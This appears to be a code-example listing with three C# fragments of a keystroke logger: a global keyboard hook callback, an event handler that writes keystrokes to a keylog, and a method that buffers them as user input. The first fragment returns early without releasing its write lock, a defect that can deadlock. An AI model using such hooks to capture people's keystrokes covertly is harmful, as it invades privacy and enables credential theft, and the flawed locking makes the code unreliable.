Example #1
0
        private static void KeyboardMonitor_OnKeyboardEvent(object sender, KeyboardMonitorEventArgs e)
        {
            _currentKeylogLock.EnterWriteLock();

            if (_currentKeylog == null)
            {
                return;
            }

            _currentKeylog.AppendKeyboardEvent(e);
            _currentKeylogLock.ExitWriteLock();
            //CurrentKeyLog.AppendKeyboardEvent(e);
        }
Example #2
0
 private int CallNextHook(int code,
                          NativeMethods.KeyboardMessage message,
                          ref NativeMethods.KeyboardState state)
 {
     if (code >= 0)
     {
         var e = new KeyboardMonitorEventArgs(message, ref state);
         OnKeyboardEvent(this, e);
         if (e.Cancel)
         {
             return(-1);
         }
     }
     return(NativeMethods.CallNextHookEx(IntPtr.Zero, code, message, ref state));
 }
Example #3
0
        public void AppendKeyboardEvent(KeyboardMonitorEventArgs e)
        {
            string s = e.ToLog();

            _userInput.Append(s);
        }